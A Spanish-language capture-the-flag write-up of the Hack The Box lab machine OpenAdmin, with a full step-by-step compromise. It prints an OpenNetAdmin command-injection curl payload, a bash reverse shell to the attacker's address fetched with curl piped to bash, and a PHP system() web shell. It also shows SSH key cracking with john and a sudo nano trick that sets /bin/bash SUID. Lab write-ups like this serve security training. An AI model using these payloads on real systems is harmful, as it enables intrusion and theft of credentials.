Volver atras HTB_OpenAdmin | Savinotes

HTB_OpenAdmin

OpenAdmin {-}

Introduccion {-}

La maquina del dia se llama OpenAdmin.

El replay del live se puede ver aqui

S4vitaar OpenAdmin maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.171

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.171

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.171 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,80 10.10.10.171 -oN targeted
PuertoServicioQue se nos occure?Que falta?
22tcpConneccion directacreds
80tcpWeb, Fuzzing

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.171

Es un Apache 2.4.29 en un Ubuntu.

Checkear la web {-}

Si entramos en la url

 http://10.10.10.171 

, Vemos la Apache2 default page.

Fuzzing con WFuzz {-}

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.171/FUZZ

Vemos un directorio

 /arcwork 

que no nos muestra gran cosa. Tambien vemos un directorio

 /music 

y vemos que el login nos lleva a un directorio

 /ona 

Pinchamos y llegamos a un panel de administracion de

 opennetadmin 

Vulnerability Assessment {-}

opennetadmin {-}

searchsploit opennetadmin

Aqui vemos un exploit en bash para para el opennetadmin 18.1.1 y en la web estamos frente a uno de esta misma version

searchsploit -x 47691

Vemos que es un simple oneliner que envia con curl una peticion por POST. Intentamos con un whoami

curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";whoami;echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 | html2text

Vemos que esto funcciona sin problemas. Intentamos ver si tenemos conectividad con la maquina.

  1. Lanzamos un servidor web con python

    python -m http.server 80
  2. Lanzamos una peticion curl a nuestra maquina

    curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";curl 10.10.14.8;echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

Como hemos recibido la peticion get, intentamos ganar accesso al systema.## Vuln exploit & Gaining Access {-}

Ganando accesso con curl al opennetadmin {-}

  1. Nos ponemos en escucha por el puerto 443

    nc -nlvp 443
  2. Creamos un fichero index.html con codigo bash

    #!/bin/bash
    
    bash -i >& /dev/tcp/10.10.14.8/443 0>&1
  3. Creamos un servidor web con python

    python -m http.server 80
  4. Lanzamos el curl con reverseshell

    curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";curl 10.10.14.8|bash;echo \"END\"&xajaxargs[]=ping" "http://10.10.10.171/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

Ya hemos ganado accesso al systema.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

User Pivoting {-}

ls
grep -r -i -E "user|pass|key|database"
grep -r -i -E "user|pass"
cd /home
find \-name user.txt 2>/dev/null
find \-name user.txt
id
sudo -l
cd /var/www
ls -la
cd internal
cd /opt/ona/www
ls
find \-type f 2>/dev/null | grep "config"

Aqui no hemos podido entrar en los directorios de los usuarios, y en el directorio internal del

 /var/www 

. Hemos visto quel directorio

 /var/www/ona 

era un link symbolico a

 /opt/ona/www 

y buscando por archivos conteniendo config en su nombre, hemos caido en un fichero

 database_settings.inc.php 

que contiene credenciales.

grep "sh$" /etc/passwd
su jimmy
Password: 

Hemos podido conectarnos como el usuario jimmy pero la flag no esta en su directorio de usuario. Parece que tenemos que convertirnos en el usuario joanna.

id

Aqui vemos quel usuario es parte del grupo internal. Miramos lo que hay en el directorio

 /var/www/internal 
cd /var/www/internal
ls -la
cat main.php

Vemos que en la web de internal se podria ver el id_rsa de joanna. Miramos la configuracion de esta web

cd /etc/apache2/sites-available
cat internal.conf

Aqui vemos que hay una web montada en local por el puerto 52846. Lo mas interesante aqui es quel usuario joanna a sido asignada como AssignUserID de este servicio. Intentamos comprometer este servicio, directamente desde la maquina victima.

cd /var/www/internal
curl localhost:52846

Aqui vemos que podemos acceder a la web internal.

  1. creamos un nuevo fichero s4vishell.php

    <?php
        system("whoami");
    ?>
  2. lanzamos una peticion get a este fichero

    curl localhost:52846/s4vishell.php
    #Output
    joanna

En el fichero

 main.php 

vemos que hace un echo de la id_rsa de joanna. Lo miramos con curl

curl localhost:52846/main.php

copiamos la key en un fichero joanna_rsa en nuestra maquina de ataquante y nos connectamos con ssh

chmod 600 joanna_rsa
ssh joana@10.10.10.171 -i joanna_rsa

Aqui vemos que la id_rsa esta protegida por una contraseña. Crackeamos la llave.

Crackeamos la id_rsa con ssh2john {-}

/usr/share/john/ssh2john.py joanna_rsa > hash
john --wordlists=/usr/share/wordlists/rockyou.txt hash

Aqui ya tenemos la contraseña de la id_rsa de joanna y nos podemos conectar

ssh -i joanna_rsa joanna@10.10.10.171
Enter passphrase

y ya podemos leer la flag.

Privilege Escalation {-}

Rootear la maquina {-}

id
sudo -l

Aqui vemos que podemos ejecutar nano /opt/priv como el usuario root sin proporcionar contraseña.

sudo -u root nano /opt/priv

Ctrl+r
Ctrl+x

chmod 4755 /bin/bash

Enter

Ya podemos ver que la

 /bin/bash 

tiene privilegios SUID y que podemos convertirnos en root para leer la flag

ls -la /bin/bash
bash -p
whoami
#Output
root